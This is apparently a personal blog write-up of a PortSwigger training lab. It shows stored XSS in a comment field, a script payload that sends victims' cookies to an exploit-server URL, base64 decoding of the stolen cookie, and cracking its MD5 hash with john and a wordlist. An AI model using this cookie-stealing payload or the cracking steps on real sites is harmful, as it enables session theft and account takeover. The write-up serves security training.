Offline password cracking | Dec 22, 2022

Introduction

Welcome to my another writeup! In this Portswigger Labs lab, you’ll learn: Offline password cracking! Without further ado, let’s dive in.

Overall difficulty for me (From 1-10 stars): ★☆☆☆☆☆☆☆☆☆

Background

This lab stores the user’s password hash in a cookie. The lab also contains an XSS vulnerability in the comment functionality. To solve the lab, obtain Carlos’s stay-logged-in cookie and use it to crack his password. Then, log in as carlos and delete his account from the “My account” page.

Your credentials: wiener:peter
Victim’s username: carlos

Exploitation

Login page:

Login as user wiener:

Burp Suite HTTP history:

As you can see, we have a new cookie called stay-logged-in.

In the previous lab, we found that this cookie is encoded in base64, and the format is <username>:<MD5_password_hash>:

┌──(root🌸siunam)-[~/ctf/Portswigger-Labs/Authentication]
└─# echo "d2llbmVyOjUxZGMzMGRkYzQ3M2Q0M2E2MDExZTllYmJhNmNhNzcw" | base64 -d 
wiener:51dc30ddc473d43a6011e9ebba6ca770

Home page:

Let’s look at one of those posts:

In the bottom of the post, users can leave a comment.

Let’s try to trigger a XSS payload:

</textarea><script>alert(document.domain)</script>

Can confirm the Comment field is vulnerable to stored XSS.

Armed with above information, we can steal users’ cookies via the exploit server!

</textarea><script>document.location="https://exploit-0a5a00bf04bcabbec18d021e016f00be.exploit-server.net/exploit?" + document.cookie</script>

Exploit server access log:

stay-logged-in cookie value: Y2FybG9zOjI2MzIzYzE2ZDVmNGRhYmZmM2JiMTM2ZjI0NjBhOTQz

Nice! Let’s base64 decode that:

┌──(root🌸siunam)-[~/ctf/Portswigger-Labs/Authentication]
└─# echo "Y2FybG9zOjI2MzIzYzE2ZDVmNGRhYmZmM2JiMTM2ZjI0NjBhOTQz" | base64 -d
carlos:26323c16d5f4dabff3bb136f2460a943

Now, we can use john the crack the MD5 hashed password:

┌──(root🌸siunam)-[~/ctf/Portswigger-Labs/Authentication]
└─# echo -n "carlos:26323c16d5f4dabff3bb136f2460a943" > carlos.hash

┌──(root🌸siunam)-[~/ctf/Portswigger-Labs/Authentication]
└─# john --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5 carlos.hash
[...]
onceuponatime    (carlos)     
[...]

Found carlos’s password: onceuponatime

Let’s login as user carlos!

And delete it!

We did it!

What we’ve learned:

Offline password cracking